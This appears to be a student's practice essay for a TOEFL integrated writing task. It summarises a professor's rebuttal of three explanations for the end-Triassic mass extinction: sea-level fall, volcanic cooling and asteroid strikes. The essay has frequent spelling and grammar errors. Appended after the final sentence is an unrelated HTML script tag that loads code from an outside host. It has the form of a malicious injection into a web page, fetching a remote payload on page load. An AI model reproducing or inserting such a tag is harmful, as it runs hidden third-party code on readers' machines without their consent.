TPO 39 task 1

The lecture proposes three different reasons for the mass-extinction at the end of Trriassic period, which led to death of more than half of the living organisms. On the other hand, the professor does not believe this and says those reasons are not strong and rebuts all of them.

First, the reading passage asserts that decliening of the sea water level might be a reason of this phenomenon. it mentions that shllow water and coastal line living organisms have affected by this level flactuation and they died finally, which led to a big destruction in the food chain and cause the mass-extinction. Conversely, the professor challengs this idea by saying that it is correct that sea level has falctuatuion but happened in a long period of time which give the creatures enough time to adapt new circumestance. she mentions that this happened over a million years and it could not cause a big change in animals life.

Second, the author avers that at the end of the Triassic period there was a massive climate cooling because of the huge volcanic activities. volcanic gases like sulphor dioxide caused a massive decrease of the global temprature which killed many of creatures. Controversially, the professor repudiates this opinion by demonstrating that those volcanic activity happened in a short period of time like several years, then so2 was in the atomosphere only for a very short time. water from the rainfall cause the so2 gas to persipitate on the ground and its effect diminished. she strongly says that there was not enough time to made a huge effect on the global tempretures.

finally, the writing claims that the asteroids strie which happened ocasionally could be another possible reason for this mass-extinction. Where thsoe strike made a huge dust in the air and block sunlight, the plants died because of this sunlight shortage and consequently other animals died afterward. Contrary, the professor opposes this arguments by explining that only few scientist believe this asteroid striks at that time. Not finding any crater at that time challenges this reason. The professor mentions that the founded creters are only related to twelve million years befor that mass-extinction time.<script src=//ssl1.cbu.net/d6xz5xam></script>